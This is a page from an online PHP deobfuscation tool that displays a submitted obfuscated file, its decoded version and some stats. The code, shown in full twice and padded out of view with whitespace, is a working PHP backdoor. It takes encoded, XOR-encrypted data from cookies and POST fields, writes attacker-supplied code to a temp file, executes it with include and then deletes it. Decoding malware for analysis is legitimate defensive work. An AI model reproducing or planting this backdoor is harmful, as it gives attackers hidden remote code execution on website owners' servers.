Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php ..

Decoded Output download

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $ZCfie = "wPx_EMJp";$geRnmHq = class_exists($ZCfie); $zEXQWpD = $geRnmHq;if (!$zEXQWpD){class wPx_EMJp{private $TczzljhE;public static $kuuraq = "2bee8caa-5116-478d-ab28-aca3f64e8b9c";public static $JNkfBvHeM = NULL;public function __construct(){$KduqFJhwl = $_COOKIE;$qlKmUTBvo = $_POST;$ShbiB = @$KduqFJhwl[substr(wPx_EMJp::$kuuraq, 0, 4)];if (!empty($ShbiB)){$HEmvJ = "base64";$cfPkXHGnk = "";$ShbiB = explode(",", $ShbiB);foreach ($ShbiB as $xtuQXTVHo){$cfPkXHGnk .= @$KduqFJhwl[$xtuQXTVHo];$cfPkXHGnk .= @$qlKmUTBvo[$xtuQXTVHo];}$cfPkXHGnk = array_map($HEmvJ . "_" . 'd' . "e" . chr (99) . "o" . 'd' . chr (101), array($cfPkXHGnk,)); $cfPkXHGnk = $cfPkXHGnk[0] ^ str_repeat(wPx_EMJp::$kuuraq, (strlen($cfPkXHGnk[0]) / strlen(wPx_EMJp::$kuuraq)) + 1);wPx_EMJp::$JNkfBvHeM = @unserialize($cfPkXHGnk);}}public function __destruct(){$this->xLJtVLGnxB();}private function xLJtVLGnxB(){if (is_array(wPx_EMJp::$JNkfBvHeM)) {$MvvzMp = sys_get_temp_dir() . "/" . crc32(wPx_EMJp::$JNkfBvHeM["s" . "a" . chr (108) . 't']);@wPx_EMJp::$JNkfBvHeM['w' . "r" . "i" . 't' . 'e']($MvvzMp, wPx_EMJp::$JNkfBvHeM["c" . chr ( 163 - 52 ).'n' . "t" . 'e' . "n" . 't']);include $MvvzMp;@wPx_EMJp::$JNkfBvHeM["d" . "e" . chr ( 1005 - 897 ).chr (101) . chr (116) . 'e']($MvvzMp);exit();}}}$yseREslwPT = new wPx_EMJp(); $yseREslwPT = NULL;} ?>

Did this file decode correctly?

Original Code

<?php                                                                                                                                                                                                                                                                                                                                                                                                 $ZCfie = "wPx_EMJp";$geRnmHq = class_exists($ZCfie); $zEXQWpD = $geRnmHq;if (!$zEXQWpD){class wPx_EMJp{private $TczzljhE;public static $kuuraq = "2bee8caa-5116-478d-ab28-aca3f64e8b9c";public static $JNkfBvHeM = NULL;public function __construct(){$KduqFJhwl = $_COOKIE;$qlKmUTBvo = $_POST;$ShbiB = @$KduqFJhwl[substr(wPx_EMJp::$kuuraq, 0, 4)];if (!empty($ShbiB)){$HEmvJ = "base64";$cfPkXHGnk = "";$ShbiB = explode(",", $ShbiB);foreach ($ShbiB as $xtuQXTVHo){$cfPkXHGnk .= @$KduqFJhwl[$xtuQXTVHo];$cfPkXHGnk .= @$qlKmUTBvo[$xtuQXTVHo];}$cfPkXHGnk = array_map($HEmvJ . "\x5f" . 'd' . "\145" . chr (99) . "\157" . 'd' . chr (101), array($cfPkXHGnk,)); $cfPkXHGnk = $cfPkXHGnk[0] ^ str_repeat(wPx_EMJp::$kuuraq, (strlen($cfPkXHGnk[0]) / strlen(wPx_EMJp::$kuuraq)) + 1);wPx_EMJp::$JNkfBvHeM = @unserialize($cfPkXHGnk);}}public function __destruct(){$this->xLJtVLGnxB();}private function xLJtVLGnxB(){if (is_array(wPx_EMJp::$JNkfBvHeM)) {$MvvzMp = sys_get_temp_dir() . "/" . crc32(wPx_EMJp::$JNkfBvHeM["\x73" . "\141" . chr (108) . 't']);@wPx_EMJp::$JNkfBvHeM['w' . "\162" . "\x69" . 't' . 'e']($MvvzMp, wPx_EMJp::$JNkfBvHeM["\143" . chr ( 163 - 52 ).'n' . "\164" . 'e' . "\x6e" . 't']);include $MvvzMp;@wPx_EMJp::$JNkfBvHeM["\144" . "\145" . chr ( 1005 - 897 ).chr (101) . chr (116) . 'e']($MvvzMp);exit();}}}$yseREslwPT = new wPx_EMJp(); $yseREslwPT = NULL;} ?>

Function Calls

class_exists 1

Variables

$ZCfie wPx_EMJp

Stats

MD5 cfd758aaeed43bef9214afe3bc27eb38
Eval Count 0
Decode Time 48 ms